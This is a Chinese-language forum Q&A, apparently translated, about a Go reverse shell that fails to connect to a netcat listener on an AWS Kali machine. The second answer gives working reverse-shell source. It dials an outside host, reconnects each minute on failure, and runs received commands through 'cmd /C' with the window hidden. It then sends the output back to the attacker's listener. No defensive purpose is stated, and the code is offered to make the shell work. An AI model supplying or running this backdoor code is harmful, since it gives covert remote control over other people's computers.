无法连接到反向 shell – 连接永远等待

无法连接到反向 shell – 连接永远等待

我在 AWS 上设置了一个简单的 Kali Linux 机器,并添加了一个所有端口都开放的安全组,然后执行:

nc -vlp 4444

现在,我在自己的个人电脑上执行一个简单的 Go 程序:

package main

import (
    "fmt"
    "net"
)

const IP = "MY_PUBLIC_IP:4444"

func main() {
    conn, _ := net.Dial("tcp", IP)
    fmt.Println(conn)
}

实际上什么都没发生,连接一直等待直到超时。我是否缺少某些配置?

谢谢。

答案1

在下面一行中

const IP = "MY_PUBLIC_IP:4444"

MY_PUBLIC_IP 应替换为目标的真实 IP 地址。

答案2

你正在请求反向shell但是你的代码中没有涉及任何 shell。请看这里的反向 shell 示例(Windows):适用于 Windows 的 Go 反向 shell

正如您在此处的代码中所看到的:

func reverse(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
    if nil != c {
        c.Close()
    }
    time.Sleep(time.Minute)
    reverse(host)
}

r := bufio.NewReader(c)
for {
    order, err := r.ReadString('\n')
    if nil != err {
        c.Close()
        reverse(host)
        return
    }

    cmd := exec.Command("cmd", "/C", order)
    cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
    out, _ := cmd.CombinedOutput()

    c.Write(out)
}

}

一次网络拨号建立连接后,它等待输入,并使用命令执行程序/C执行给定的命令,读取输出并将其发送回某个监听器(在您的情况下为 nc)。

总结: 你错过了参与您的代码

相关内容